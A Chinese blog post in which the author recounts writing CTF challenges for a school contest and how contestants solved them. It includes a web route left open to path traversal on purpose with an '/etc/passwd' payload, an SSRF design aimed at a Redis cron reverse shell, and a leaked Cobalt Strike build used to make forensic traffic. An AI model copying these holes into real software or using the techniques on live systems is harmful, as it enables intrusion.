普通视图
-
GamerNoTitle
- 第十九届软件系统安全赛 CCSSSC 2026 华南区域赛复盘(旅行日记)[!tip] 今年这比赛办的就是老登骂死 —— Luminoria 好的我又来了 CCSSSC,2026 年 4 月 19 日,CCSSSC 2026 华南区域线下赛在湘潭大学体训馆内 顺利 举行!(喜欢我大蒸笼吗) 好...
-
GamerNoTitle
- 从 Valine 迁移到 Waline 全记录起因是看到了 Leancloud 要跑路了 src: 关于 LeanCloud 停止对外提供服务的通知 | LeanCloud 开发者文档 因为我的评论系统 Valine 的数据是用了 Leancloud 作为存储数据库...
从 Valine 迁移到 Waline 全记录
-
GamerNoTitle
- 记一次对某邮箱软件账户数量上限破解本文仅做技术交流,请支持正版软件 前言 邮件这个东西对我来说一直很重要,我最开始用的是巨硬的那个邮件 UWP 客户端,那个是真的好用,但是耐不住巨硬要推他那个 Outlook New,然后邮件 UWP 就死翘翘了 之前我...
记一次对某邮箱软件账户数量上限破解
-
GamerNoTitle
- 2025 羊城杯决赛个人做题思路 Writeup本次羊城杯比赛主要分为了三个部分:综合渗透、应急响应、数据安全,而在比赛中我主要负责的是应急响应和数据安全部分 综合渗透和应急响应是有交叉的,所以我会丢在一起讲 数据安全 本次我做的是数据安全的第二到第四题,第一题用 A...
2025 羊城杯决赛个人做题思路 Writeup
-
GamerNoTitle
- 2025 湾区杯决赛(AKA 珠海旅行记录)本次也是非常幸运的,在候补名单里面进了 GBACC 的决赛 因为得到消息的时候,是周四,我们下周一就要打决赛了,所以光速定了酒店和过去的高铁票 同样,因为是决赛,所以很可能就会变成我们的公费旅游环节,比赛的东西我会放到最...
2025 湾区杯决赛(AKA 珠海旅行记录)
-
GamerNoTitle
- 【更新中】Web3 CTF 从入门到入土从我复读考上大学以后继续打 CTF,我就发现了跟我以前打 CTF 相比,现在的 CTF 的 Misc 中加入了更多的新题,而其中就有 Web3 这一分支。而我在网上冲浪的时候发现 Web3 的教程还是太少了(毕竟这东西太...
【更新中】Web3 CTF 从入门到入土
-
GamerNoTitle
- 第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘(旅行日记)我们 CTF 玩家就是拿着台电脑过去一开坐一天就结束了 —— Ron 1337 没错,在 5.17 5.18,我们 Volcania 参加了第十八届软件系统安全赛攻防赛全国总决赛 这次说是总决赛,但其实队我们队伍来说应该...
第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘(旅行日记)
-
GamerNoTitle

- 记第一次为 CTF 比赛出题的经历和踩过的坑起因事情的起因是这样的,我们学校准备办一个什么IT科创嘉年华,然后想办一场名为“网安卫士”的比赛,所以理所应当地找到了我们学校的攻防工作室来出题,自然也就联系上了我诶不是,有这等好事?那我当然要来掺和一脚嘛,顺带拉上了我们队的其他队员,我们一起为学校的比赛出题筹备期最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27,然后我们开了个在线文档就开始出题了,出题难度是这么跟我们说的就是比 ADCTF 还要简单,要宝宝巴士难度,让我们弄一些能用常用工具一把梭的但其实我已经有一些题目的雏形了,于是我先出了我的一道简单题出题:Herta’s Voidterm题目源码:https://github.com/GDUTMeow/Challenge-Hertas-Voidterm这道题的玩法参考了 Hackergame 2024 的那个终端题(忘了叫啥了),我前些阵子把我网站的 404 页面换成了 Voidterm(随便访问一个不存在的页面你就能看到了),然后我当时在我的这个终端里面塞了 3+1 个 flag(原来是 3 个,后面加了一个),我想把这个拿来出题,于是就有了 MISC 题
记第一次为 CTF 比赛出题的经历和踩过的坑
起因
事情的起因是这样的,我们学校准备办一个什么IT科创嘉年华,然后想办一场名为“网安卫士”的比赛,所以理所应当地找到了我们学校的攻防工作室来出题,自然也就联系上了我
![]()
诶不是,有这等好事?那我当然要来掺和一脚嘛,顺带拉上了我们队的其他队员,我们一起为学校的比赛出题
筹备期
最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27,然后我们开了个在线文档就开始出题了,出题难度是这么跟我们说的
![]()
就是比 ADCTF 还要简单,要宝宝巴士难度,让我们弄一些能用常用工具一把梭的
但其实我已经有一些题目的雏形了,于是我先出了我的一道简单题
出题:Herta’s Voidterm
这道题的玩法参考了 Hackergame 2024 的那个终端题(忘了叫啥了),我前些阵子把我网站的 404 页面换成了 Voidterm(随便访问一个不存在的页面你就能看到了),然后我当时在我的这个终端里面塞了 3+1 个 flag(原来是 3 个,后面加了一个),我想把这个拿来出题,于是就有了 MISC 题:Herta’s Voidterm
这道题目分成了三部分,我先把题目描述放在下面
你发现你一不小心获取到了黑塔女士的终端权限,于是你决定寻找一下黑塔女士的小秘密~
- 据说环境中好像有什么不一样的东西?
- 终端里面好像有个网址无法访问?
- 好像有一张奇怪的图片诶?!
因为一开始就说了是宝宝巴士的难度,所以我第一个题目做的是 env 访问环境变量的解题方式,直接输入 env 查看环境变量就能看到 flag 了
![]()
这题我自认为确实是宝宝巴士难度,而且我给的提示够明显了
在考虑 flag 的内容的时候,我最开始想到的是小黑塔跟大黑塔编入同一队伍时会有的那个语音
小黑塔:黑塔女士举世无双,黑塔女士聪明绝顶,黑塔女士沉鱼落雁
然后我去搜了这个语音的英语原文,为
Herta: Madam Herta is a peerless gem. Madam Herta is an unrivalled genius. Madam Herta is an inimitable beauty.
然后简单 Leet 一下就有了第一个 flag
接着就开始考虑第二题,之前出那个自己网站上 +1 的题目的时候就想到了之前在 BaseCTF 上做过一道题目,给了一个域名但是无法访问,它那个题目把 flag 丢在了 txt 记录里面
所以我也学着做这样的一个题目,我把第二题的 flag 丢在了我的某个子域名上,然后把这个域名丢到了我这个模拟终端的 /etc/hosts 里面,于是你可以看到提示写的是 终端里面好像有个网址无法访问? ,使用 cat /etc/hosts 就能看到我这个域名了
1 | 100.100.100.100 th3-h3rt4.bili33.top |
于是我就可以打成让参赛选手用 nslookup 或者 dig 查询域名来得到 flag 的方法
接着就来到了第三部分,既然是 MISC 题,肯定不能少了传统的隐写。而且之前大黑塔的 PV 里面有一个很可爱的 Chibi 黑塔
于是我就拿着这张图来做图片隐写,实现了一张图两用:修改高度和文件尾藏脏数据
又刚好在 ADCTF 做了 rkk 的 Black MIDI 那个题目,那个题目采用了 AES 的加密方式,于是我也想用 AES 的加密方式
所以我就把 key 和 iv 一个藏在文件尾,一个藏在 IHDR 高度爆破的底下,但是怎么给加密的数据呢?于是我想到了可以直接在第一题的 env 里面塞,然后我又把加密后的内容放在了 env 里面名为 SECRET 的变量中,细心的参赛选手一定能解出来吧 (*^▽^*)
消息不同步
本来我们商定的比赛时间是 2025.4.25 - 2025.4.27,是四人团队赛,结果发推文的时候跟我说变成两周了???(WTF两周还打什么团队赛啊),于是我们决定提升产能并上难度了
![]()
出题:Play CS with Me
题目相关附件:https://github.com/GDUTMeow/Challenge-Play-CS-with-Me
这题的灵感来源于西湖论剑的 CSCS,那个题目是 Cobalt Strike + Counter Strike 1.6,说实话我到现在都还没弄明白 ReHLDs 怎么用,但是不妨碍我出这类型的取证,我先把题目描述丢在下面
Luminoria 在看色图的时候电脑中招啦,黑客从他的电脑里面偷走了一些东西,请你找到黑客拿的东西吧(哦内该
- 1、请你以木马的文件名(包括后缀)计算 md5 后,用
flag{}包裹即为第一题的 flag- 2、请找到黑客拿走的日志文件,以其内容计算 md5 后,用
flag{}包裹即为第二题的 flag- 3、请你找到 Luminroia 看的色图,色图即为
flag如果黑客的木马文件名为
beacon.exe,则应该使用beacon.exe进行 md5 计算得到c834b9aa0d91d8a309db78786b7e3a03,则这题的 flag 为flag{c834b9aa0d91d8a309db78786b7e3a03}假设从流量中提取到的文件为 abc.txt,里面的内容为
1
2 Hello World!!!
THIS IS AN EXAMPLE LOL应该拿着此文件中的所有内容去计算 MD5,算得结果为
f9b80cd2e0116766a8729570cf036608,则包裹后为flag{f9b80cd2e0116766a8729570cf036608}即为本题的 flag
为了出这个取证,我先是去装了两台虚拟机(其实是装了一台,然后复制了),并且为了减少 Windows 系统自身的流量造成的干扰,我特意用了 Tiny11 来做这个题目的附件
然后我掏出了在我硬盘里吃灰的 Cobalt Strike,就开始出题了
本来我最开始的思路是只砍掉 ReHLDs 部分,所以我更换了 Cobalt Strike 的 key,结果我自己做的时候发现……
我!T!M!爆!不!出!来!私!钥!
那这宝宝巴士车更爆不出来了,所以我最后决定不更换这个 key,又因为我使用的 CS 是流传出来的一个版本,所以它的私钥是已知的,然后就省去了爆破的过程
1 | 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key |
当参赛选手用 1768.py 分析的时候,就会出现上面这里最后写的 Has known private key,用 -V 参数就可以提取出来,变相降低难度了
我最后想的攻击链路是这样的:
给肉鸡配置 SSLKEY 导出 -> 肉鸡打开wireshark开始抓包 -> 肉鸡开始访问我放在 Cloudflare R2 上的含有 flag 的图片 -> 关闭抓包和浏览器 -> 攻击机生成 Beacon -> 再次打开肉鸡的 Wireshark 抓 CS 流量 -> 将 Beacon 复制到肉鸡并运行 -> 攻击机发送命令,下载文件
然后我也这么做了,实际操作也没什么问题(出了操作的次序出了问题然后我 retry 了好几次)
就在我自己做的时候,我发现一个问题:我导出来的访问 flag 图片的数据包中过滤 http 没有我的 flag 图啊喂!
我一开始以为是 Cloudflare 的问题,换了 Github Pages 来抓,结果还是没有,结果一看协议统计
这东西是 HTTP/2.0 流量!!!
好吧,HTTP/2.0 对参赛选手不是不能做,只是过滤参数从 HTTP 变成了 HTTP2 而已
于是这题就理所应当地出来了(坏笑٩(•̤̀ᵕ•̤́๑)ᵒᵏᵎᵎᵎᵎ
我把这题丢上了文档,并标注了三个 HARD 难度,等待这题能够爆零然后新生赛复用,诶嘿~☆
![]()
群里猫娘趣事
很快我们发现 web 题太少了,于是我们打算出点 web 题目,这个时候看到队友 Ron 的题目没起名字,于是我给了他一张图
![]()
你可以在我的 Telegram 频道中找到这张图:https://t.me/PaffChannel/2138
不过他好像没用上 =-=
Web 题都是简单题
很快 web 题就出来很多了,但是都标的 ez
![]()
于是我们决定给 web 题上点难度
升旗
没错,那一周刚好轮到我们计算机学院升旗了,还是周一(周一满课,早八高数)……好吧,睡个觉去
出题:你真的懂 Base 嘛
此时我发现我们 Crypto 没有题目,于是我打算来出第一题
题目内容如下
为什么我的 Base 是乱码?好像说来自一个小蓝鸟公司?还与 2 的 11 次方有关?最后还可以一把梭?
题目源码:https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base
因为说了要宝宝巴士难度,所以我想到先来个 Base
但是只有 Base 也太太太太太简单了,所以我要来点好玩的
恰巧之前看过 Twitter 有个 Base2048,然后 Basecrack 可以一把梭,于是我就把这两个东西给结合起来,整了个两步梭的 Base 题目
我先把 flag 通过 Base62 -> Base64 -> Base58 -> Ascii85 -> Base92 -> Base32(就只要是不会让 BaseCrack 产生误判的方式都用上了),然后再套一个 Base2048,就完活啦!
出题:Data Cleaning
因为现在的 MISC 题目有点往取证、数据安全和 Web3 的趋势了,所以我也想来弄点数据安全的题目,于是就有了这道题
你的上司交给你了一份名单,这份名单是公司里面所有人员的个人信息,包含了以下内容,且有规则
- 序号
- 姓名:不能包含数字、字母
- 性别:只有男/女
- 身份证号:按照身份证号的校验规则合法
- 用户名:只包含字母和数字,数字不能作为开头
- 密码:随机生成的,题目保证一定不包含
,'"三个符号- 签名:对于每个用户都有一个RSA证书,对应序号保存在cert文件夹中,使用此证书对
用户名_密码_身份证号进行签名(签名传入的字符串中如规则所述用了下划线连接,使用的是最为常见的填充方式,可以搜搜Cryptographic Token Information Format Standard)现在老板发现这份名单中有些问题(即不满足以上条件),请你把不符合条件的序号挑出来,用下划线从小到大连接
例如,不合法的序号有
1145141919,则应该连接为114_514_1919最后用连接后的字符串进行 md5 运算(小写,32位)后得到的结果,使用
flag{}包裹后提交
这道题我是直接上网找出题脚本然后用 Deepseek 改了一下的,问就是我懒狗,然后第一次 Deepseek 给我改的是用的 MGF1,然后我们测题的时候就反映做不出来
那当然了,MGF1 的参数也太麻烦了
![]()
![]()
然后就回去找到对话,让 DS 给我改成了用 PKCS1_15,这样也好猜一点,就有了这一题,然后我又在签名那里加了 Cryptographic Token Information Format Standard 的提示
为了让宝宝巴士能够宝宝一点,我真是费尽了心思(擦汗
出题:登录 PRTS 1
普瑞赛斯(Priestess)在 Abyss 中封禁了刀客塔在 PRTS 中的账号,身为刀客塔的你要想尽一切办法获取 PRTS 的权限(但是一定要登录刀客塔的账号吗?
本题构建容器所需要的时间较长,请提前点击构建容器按钮!
- 刀客塔的账号密码
- Username: VFTS352
- Password: 48399110
- 不要在意网站壁纸,找不到好看的 PRTS 图了
这道题主要是因为明日方舟更新了第十五章,然后第十五章里面我们跟牢普操纵的 PRTS 来了一场酣畅淋漓的战斗,然后我就想用舟舟的这个出一个题目
恰好之前暑假参加山石的三天训练营的时候,我做的那一道 Web 题是在 Cookie 塞的目录穿越,然后我就想弄一个目录穿越,但是不太明显的那种
最开始我的设定是在 Cookie 中有个 user 字段,更改 user 字段来返回不同的文件,所以我的代码一开始是这样写的
1 | @app.route("/api/get_avatar", methods=["GET"]) |
但是我发现了一个问题,就是这样的话会固定带 .png 文件后缀,如果我输入的是 ../../../../../../etc/passwd 的话,会变成返回 static/img/../../../../../../etc/password.png,这是有问题的
所以我最后只能改成参数给 filename,变相的变简单了一点
1 | @app.route("/api/get_avatar") |
这样就有了这道题的第一问
出题:登录 PRTS 2
本来这题没想出第二问的,但是但是,上面说到群里说 Web 都是简单题,然后我就在这题的基础上上难度了
本来是想照搬 VNCTF 的思维导图的那个玩法的,但是我队友说建议放在新生赛,所以只好作罢
而刚好在 CCSSSC2025 的初赛,有一题叫 CachedVisitor,跟思维导图那个题有异曲同工之妙,都是利用了 SSRF + dict 协议的玩法,所以我就按照这个玩法来出了这个第二题,又因为 SSRF + dict 的打法一般都是 Redis 通过 cron 反弹 shell,所以我就按照这个思路来了
首先我又加了一个路由,可以实现 SSRF
1 | @app.route("/api/get_resource", methods=["POST"]) |
然后很快我就发现一个问题,requests 库不支持 dict:// 协议,而 httpx 库也是一样的
于是我就去看有没有什么现成的库能够实现 Python3 对 dict:// 协议的支持,但是找到的基本都是 Python2 的
这时,我突然想起了我们平时用的 curl,我在想这东西有没有可能支持 dict:// 协议,然后我试了一下,果然可以,于是我的目标就转向了 curl
最开始我是用 os.popen 来运行 curl 的,但是好像有点问题,它会带着 curl 的那个请求时间什么的信息出来
1 | >>> os.popen("curl https://baidu.com").read() |
然后我还得自己手动处理,这会变得比较麻烦,后面查了一下发现有个 pycurl 库可以用
于是就有了第二版的路由
1 | @app.route("/api/get_resource", methods=["POST"]) |
然后不出意外地就出意外了,file 协议有问题,然后我就把 file 单拎出来处理了(直接 open,read,返回)
最后完成了我的题目代码,进入了调试阶段
第一题还是很正常的,到了第二题我发现了一个问题
他喵的为什么我的 shell 反弹不出来啊喂!!!
然后我去搜了一下这个玩法大伙都是怎么玩的,看到了这么一条东西
![]()
没错,这个玩法要 CentOS,只有 CentOS 会忽略 crontab 文件里面的错误,挑出正确的来执行
那——好吧,我去换个系统不就完事了呗
这不换不要紧,一换就出事了
CentOS 停更了呀喂!!!
就导致了我 Dockerfile 最开头的 yum 根本就装不到依赖,找了一下得把镜像源的域名改成 vault.centos.org 才行
搞定了镜像源,又遇到了 Python 版本的问题,CentOS 预装 Python 3.6,这东西太老了,我的 Werkzeug==2.1.2 在 3.6 根本就装不上,然后我想的是那我就弄一个现场编译 Python 3.9 的呗,但是还是依赖问题,编译频频出错,直到我找到了有现成的
于是我直接从这里下载,然后创建软链接,才解决了 Python 的问题,测试了一下,这题终于出好了……嘛?
出题:Dino
到了我们要差不多上题测试的时间了,我们逐渐发现 Web 题没有最简单的那种题——F12 查看 flag,于是我又去弄了这一题
Dino
来玩经典的小恐龙吧!
这里我本来想用 2048 的,但是 2048 的 js 和 css 什么的太多了,而且整个 html 的代码量是偏大的,不适合宝宝巴士
然后我突然想起来谷歌小恐龙,于是就拿着小恐龙的代码出了这一题,简单的文本替换而已
出题:ez_traffic
流量分析很简单哦!
这题本来没想出的,但是群里面当时大伙这样说
![]()
然后我就出了一道宝宝 traffic,我直接在我的电脑上开了个 Python 的 http.server,然后用我上面 CS 那道题的虚拟机抓的包,用这台机子访问我的 http.server 然后下载我含有 flag 的图片就搞定了
出题:为什么要演奏春日影!
为什么要演奏春日影!
Luminoria 听了春日影这首歌后,决定将 Soyo 的金句用工具写进春日影中,来帮助修复 Soyo 的心理阴影(真的修复了吗
最后 Luminoria 决定使用一个跟深度求索公司具有同样开头
Deep的一个工具来将金句写入到春日影这首歌中Soyo: (冲向 Saki 酱,抓住她的手)「拜托了,求求你,要是没有 Saki 酱的话,我就…」
Saki:「放开我 」
Soyo:(跪下来求)「要我怎样做你才肯回来,只要是我能做的,我什么都愿意做 」
Saki:(不屑)「你是抱着多大的觉悟说出这样的话的?」
「你只不过是一个学生,有办法背负他人的人生吗?」
「“什么都愿意做”就是这么沉重的话。不要这么随便说出口。 」
Soyo:「但是,我真的…」
Saki:(甩开手)「你这个人,满脑子只会想到自己呢」(走开 )
Soyo:(跪在原地)
天空中下起了小雨,睦头人看着 Soyo,一言不发
这题是因为刚好在听春日影
而且发现 MISC 题目里面没有音频隐写,于是就出了这个题目
最开始本来想在频谱图里面塞 flag 的, 但是没有找到怎么在频谱图里面塞(经典会做题不会出题了),所以没办法
然后我尝试使用 MP3Stego 和 SlientEye,但是不知道为什么,我用 ffmpeg 转换出来的 wav 音频丢进这两个软件都无法识别是 wav 文件,不是少这个就是少那个
后来我就用 Deepsound 了,直接把 flag 文件塞进去就完事了
本来还想给 Deepsound 设置密码,但是我发现 wav 的备注无法在文件属性里面显示,所以只能不塞密码了,刚好也是宝宝巴士了
出题:Data Analysis
所有数据均为随机生成
校验规范
- 编号:纯数字,最后应该从小到大排列
- 用户名:由数字、字母组成
- 密码:密码 hash 值为 32 位小写 md5 值
- 姓名:由全中文组成
- 性别:只能为
男或者女,且身份证号中代表性别的那一位要对应上- 出生日期:由 8 位数字组成,和身份证号中的出生日期码保持一致
- 身份证号:应该符合国家对于身份证号的校验规则,本题中提供的身份证号均符合规则
- 手机号码为 11 位 10 进制数字字符串,前三位的号段限定在以下的集合中
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799题目要求
你应该将每一行都变成与表头相同的顺序排列,表头顺序为
编号, 用户名, 密码, 姓名, 性别, 出生日期, 身份证号, 手机号码,对应numberusernamepasswordnamegenderbirthidphone例如,假设你拿到的数据为(下面数据为瞎编的)
1
2
3
4 编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码
Luminoria,79811451419,114514200002291919,20000229,小猪佩奇,1,男,e10adc3949ba59abbe56e057f20f883e
20050330,2,c4d038b4bed09fdb1471ef51ec3a32cd,7529876543,男,191981200503301155,刻晴,KeqingMoe则最后你应该把数据变成这样
1
2
3
4 number,username,password,name,gender,birth,id,phone
1,Luminoria,e10adc3949ba59abbe56e057f20f883e,小猪佩奇,男,20000229,114514200002291919,79811451419
2,KeqingMoe,c4d038b4bed09fdb1471ef51ec3a32cd,刻晴,男,20050330,191981200503301155,7529876543将数据以 UTF-8 编码方式保存后,确保最后含有一行空行,将文件内容进行 md5 运算,最后得到的值加上
flag{}包裹即为最后的答案注意
- 你的换行应该使用
\n,你可以在调试的时候使用print(repr(data))来确认这一点- 在你进行 md5 运算的文件内容中,最后有一个空行,就例如上面给你处理后的例子中,最后一行有一个空行
- 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头
本来 DS 只有一道题目的,但是考虑到要每一批都至少有一个吧,所以就整多了两道 DS 的题目
这里的数据是用的 2024 羊城杯的数据(没办法它数据太好看了)
做法跟羊城杯的完全一致,出了没有验数据的平台和我把标头改了而已,因为一点不一样就会导致 md5 完全不一样,所以我对数据格式的要求也比较的严格
改了改就出了这道题目了
出题:Data from Log
所有数据均为随机生成
现在发生了一件很不幸的事情,数据库里面的数据丢失了,我们无法通过数据库来获取需要的内容,所幸的是,阿帕奇的 log 还在
题目要求
现在你需要做下面的这些事情
- 首先,你得从日志中还原出各个用户输入的个人信息,他们包含了
- 用户名:只能由字母和数字组成
- 正确示例:
admin、Luminoria、KeqingMoe、h3ll0World- 错误示例:
ad_min、Zhang_san- 姓名:全中文
- 正确示例:
张三、李四- 错误示例:
z三、李4- 身份证号:固定为 18 位,符合国家关于身份证的校验规则(本题不设置性别校验)
- 手机号码:为 11 位数字字符串,其中前三位固定在下面的集合中
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799- 密码:由数字和字母组成,没有符号
- 接着,你要对数据进行脱敏
- 用户名:若只有两个字符则只对最后⼀位使⽤ * 号代替,否则只保留第⼀位和最后⼀位字符,其余都⽤ * 号代替,例如“ab”脱敏后就是“a”,“abcde”脱敏后就是“a**e”。
- 密码:对明文密码进行 md5 计算,例如
123456计算后为e10adc3949ba59abbe56e057f20f883e- 名字:⼆字姓名对最后⼀位使⽤ * 号代替,三字即以上姓名除第⼀位和最后⼀位以外都使⽤ * 号代替, 例如
张三脱敏后就是张*,王不⼆脱敏后就是王*⼆- 身份证号:只保留年份,其余都使⽤ * 号代替,例如
172865199108200356脱敏后就是******1991********- 手机号码:对 4-7 位的地区编码使⽤ * 号代替,例如
74580417166脱敏后就是745****7166- 最后,你应该将脱敏后的所有数据按照
username, password, name, idcard, phone对应用户名、密码、名字、身份证号、手机号码的顺序,将所有数据按照 UTF8 编码方式保存,文件的最后应该有一行空行- 表头应该为
username,password,name,idcard,phone注意
- 你的换行应该使用
\n,你可以在调试的时候使用print(repr(data))来确认这一点- 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头
这题也是 2024 羊城杯的数据,而且是原题,我改都没改,要求都跟羊城杯的一致
还是因为每一批都要有一题,所以拿过来直接用,当然因为我懒没有写数据校验平台,所以就……嗯
出题:Is It Really Secure??
还是因为每一批都要有一题,所以我打算给取证加多一题
原题附件:https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure
这题用的是 FTP,因为 FTP 具有明文传输的特性,所以其数据流很容易就能分析,而且也很容易拿到里面的文件
我先用我的服务器搭了一个 FTP 服务
1 | $ docker run -d -v /home/gamernotitle/docker/vsftpd:/home/vsftpd -v /var/log/vsftpd/:/var/log/vsftpd/ -p 20:20 -p 21:21 -p 20000:20000 -e FTP_USER=Luminoria -e FTP_PASS=my-Str0ng_p@55w0Rd -e PASV_MIN_PORT=20000 -e PASV_MAX_PORT=20000 -e PASV_ADDRESS=192.168.88.128 -e LOG_STDOUT=1 --name vsftpd --restart=always fauria/vsftpd |
这样就可以打开这个 ftp 服务,但是我用抓流量专用机(上面 CS 的机子)抓的时候,发现一直会弹连接被重置,但是这是内网,所以肯定不是我网络的问题
然后我尝试了一下 Filezilla,看到了更详细的内容,它推荐我使用 PASV_MODE 试试,于是我把 PASV_MODE 打开了,就可以了
然后就是正常的抓流量环节
这次为了与第一题进行区分,我还加了伪加密 zip 包
我把 flag 的二维码丢在了 zip 里面,然后用 010 Editor 更改了标头,让这个 zip 包进入伪加密的状态,把伪加密破了就能出 flag 了
修题:登录 PRTS 2
起因是群里 rkk 说有一个更简单的做法
![]()
![]()
![]()
![]()
sekaictf-2024 的 exp 是这样写的
1 | import threading |
而我当时出题的时候没有注意 /proc 这个特殊目录的问题,所以导致直接请求读取 /proc/self/environ 就能够出第二题的 flag
甚至甚至,拿着第一题的目录穿越任意文件读取都能够得到 flag,那这就是非预期解了,所以我加入了更多的权限校验,例如如果有 /proc 就直接 403,还有对普瑞赛斯的身份进行校验(下面是一个小片段
1 | @app.route("/api/get_resource", methods=["POST"]) |
然后才把这个地方给堵上了
出题总结
怎么说呢,我真佩服我自己点子那么多
![]()
当然本次出题也出现了考虑不周全的问题,还有就是对环境不熟悉的问题(上面 CentOS 那个),不过这次出题确实出爽了,有简单的,也有难的
出题跟做题都是很有意思的事情,下次继续(诶嘿
现在就等比赛开始了,比赛打完了再来更下面吧
比赛中
这次比赛我们班其实有三个队伍,但是说实在的他们都比较小白,体现在什么方面呢?逆向没有 IDA,流量分析没有 Wireshark,就最基础的这些工具其实我们班的兄弟们也不知道,但是我是出题的我也不可能跟他们说这些东西
本次比赛的难度分级为 Easy < Normal < Hard < Expert < Master
第一批
第一批里面我的题是相对简单的,给了
- [easy] 签个到吧(关注公众号发关键词,上面没写)
- [easy] Dino(F12 看注释)
- [easy] ez_traffic(wireshark 打开后直接导出 HTTP 文件)
- [easy] 为什么要演奏春日影(Deepsound 提取文件)
- [easy] 你真的懂 Base 嘛(Base 大杂烩)
- [easy] Data Cleaning(数据清理,脚本题)
其中签到不必多说,Dino 也是上来就出了,这两个算比较简单的
其次是 ez_traffic 和 Data Cleaning,因为说实话,只要懂得处理拿到的文件就能够拿分,这两题,所以也是偏简单的
比较好玩的应该是春日影那个题,各种各样的 flag 都出来了
![]()
我承认你对本番的理解很到位,但是这不是正确答案 =-=
不过最令我惊奇的是 Base 大杂烩难倒了好多人,我原本的想法就是如果你去搜 Twitter Base 2048,很容易搜到 Base2048 这个东西,然后写一个简单的 Python 脚本先脱 2048 这一层
1 | import base2048 |
然后再去搜 Base 一把梭 搜到 Basecrack,直接就能够用 basecrack 解开这个大杂烩
但是好像我们的参赛选手好像不知道后面还有,认为解开 2048 出来的那串字符串就是 flag,然后就交上去了,所以就能看到这样的提交记录
![]()
到了大概 23:45 的时候,看着还是没人出,我就给了三个提示
💡提示1:将内容从乱码变成一串由 ASCII 字符组成的字符串后还有步骤,脱离不开题目名字,关注一下题目的最后一句话
💡提示2:当你解出来的内容是以
flag{开头的,那你就得到 flag 了💡提示3:flag 是有意义的一句话
因为第二天要打蓝桥杯了(蓝桥的网安是屎,别报!信我!),所以我睡得比较早,早上起来一看已经有两个队伍做出来了,挺好的
第二批
第二批我给的题目有这些
- [easy*2] [normal] Herta’s Voidterm
- [normal] [hard] 登录 PRTS
- [easy] Data Analysis
- [easy] Is It Really Secure??
当我打完蓝桥杯的时候,登录 QQ 和微信发现群里有人艾特我,说 PRTS 题目出了问题
![]()
一看,发现是我忘记删掉注释了
![]()
好吧,重新弄了一下上线了……
我其实没太想到本次的 Herta’s Voidterm 能够难住不少人
第一问很简单,env 一下就出来了,这个没啥问题,但是第二问好像大伙都不知道域名还有 TXT 类型记录可以用来存内容
![]()
后面也是加了点提示
![]()
然后第三问因为我看到提交记录里面有交 AES 的向量的
![]()
于是我也给第三问来了点提示
![]()
说到简单题,还有一个简单题 Is It Really Secure??,我特意在 ftp 里面留了坑,我的 ftp 认证密码是 my-Str0ng_p@55w0Rd
然后真有队伍交了 flag{my-Str0ng_p@55w0Rd}
![]()
看来这坑没白埋 (*^▽^*)
当然,还有中第二个坑的
![]()
估计可能大伙不知道什么叫 ZIP 伪加密吧
不过这一部分最令我开心的应该是 PRTS 有人做,而且有人出(虽然只出了第一题)
![]()
然后有个哥们想复杂了
![]()
![]()
![]()
我寻思我也没有 import pickle 啊 🤔
当然,在多方面的提示下,有一个队伍出了 PRTS 2
![]()
有人能对上电波我还是很开心的,不仅这题,黑塔终端 3 也有人对上电波了
![]()
可能是一张图两用太难想了?还有就是估计很多队伍第一问看到 SECRET 没当回事
Data Analysis 那个题目,我题目的要求是对内容进行 md5 计算,不过我当时是把文件丢进赛博厨子计算的,然后可能是不同系统对剪贴板的处理不一样,有人用 macOS 在数据正确的前提下出了错误的答案
![]()
![]()
看来下次还是不能省掉检验用的那个网页 =-=
第三批
第三批是难度比较高的,我的题目有这些
- [expert*2] [master] Play CS with Me
- [normal] Data from Log
因为劳动节补课,周日要上课,原定周日早上十点放题目的,放到了周六晚上七点放了
这里首先要给参赛选手道歉的是,我在题目 Data from Log 的附件里面给的 README.md 写的跟题目详情页面不一样,在这里向各位道个歉 orz
Data from Log 涉及到了从阿帕奇的日志中恢复数据,这题是从羊城杯偷的,所以数据上没什么好说的
不过让我欣喜的是 Play CS with Me 没有爆零,第一题有人在提示下出了
![]()
![]()
这个搜索能力挺不错的,在这里表扬一下 (๑•̀ㅂ•́)و✧
当然也少不了跳我挖好的坑
![]()
说实话,我也想改这个 evil.exe 为其他更具有迷惑力的名字,但是不管我怎么保存那个代表 beacon 的 hta 文件,这里都不会变,可能是 hta 类型文件最后在这里显示固定为 evil.exe 吧,这点我确实不太清楚
接着这个队伍又继续攻克第二问,但是但是,他们找的教程实在是……戛然而止
他们找的是这一篇:https://www.freebuf.com/articles/system/327060.html
然后我还是提醒了一嘴
![]()
他们应该是搜到后续了,快出了——确实出了,最后一分钟
![]()
好极限,恭喜这个队伍用 Play CS with Me 1 和 2 超过了原来的第一
收 Writeup
比赛完了以后最爽的应该是看各个队伍的 wp 了,看看他们有没有按照我们预定的思路去做题,其实大部分都是按照我的想法来的,不过也有一些跟我用的工具不太一样
例如说 base 那个题目,有一队就用的不是 basecrack 而是用的随波逐流,也是让我第一次知道随波逐流还有这功能了
总结
